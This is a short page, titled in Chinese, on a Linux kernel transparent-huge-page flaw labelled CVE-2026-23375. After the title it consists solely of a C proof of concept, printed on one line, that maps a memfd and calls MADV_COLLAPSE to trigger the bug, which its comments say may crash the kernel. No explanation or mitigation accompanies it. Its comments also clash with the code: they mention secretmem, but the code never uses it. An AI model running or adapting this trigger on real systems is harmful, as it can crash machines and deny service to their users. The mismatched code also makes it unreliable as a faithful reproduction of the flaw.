CVE-2026-23375: Linux内核THP内存管理漏洞

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/mman.h> #include <fcntl.h> #include <linux/memfd.h> #include <sys/syscall.h> // Wrapper for memfd_create if not in libc static int memfd_create(const char *name, unsigned int flags) { return syscall(__NR_memfd_create, name, flags); } int main() { // Attempt to create a secretmem fd (requires kernel support) // Fallback to regular memfd if secretmem not available to demonstrate logic int fd = memfd_create("test_poc", MFD_CLOEXEC); if (fd < 0) { perror("memfd_create"); return 1; } // Write some data to allocate pages char data[4096] = {0}; write(fd, data, sizeof(data)); // Map the memory void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0); if (addr == MAP_FAILED) { perror("mmap"); close(fd); return 1; } printf("Triggering MADV_COLLAPSE on anonymous inode file...\n"); // Trigger the khugepaged/collapse logic // This may crash the kernel if the bug is present and using secretmem if (madvise(addr, 4096, MADV_COLLAPSE) < 0) { perror("madvise"); } else { printf("MADV_COLLAPSE executed. Check kernel logs for WARN_ON or crash.\n"); } munmap(addr, 4096); close(fd); return 0; }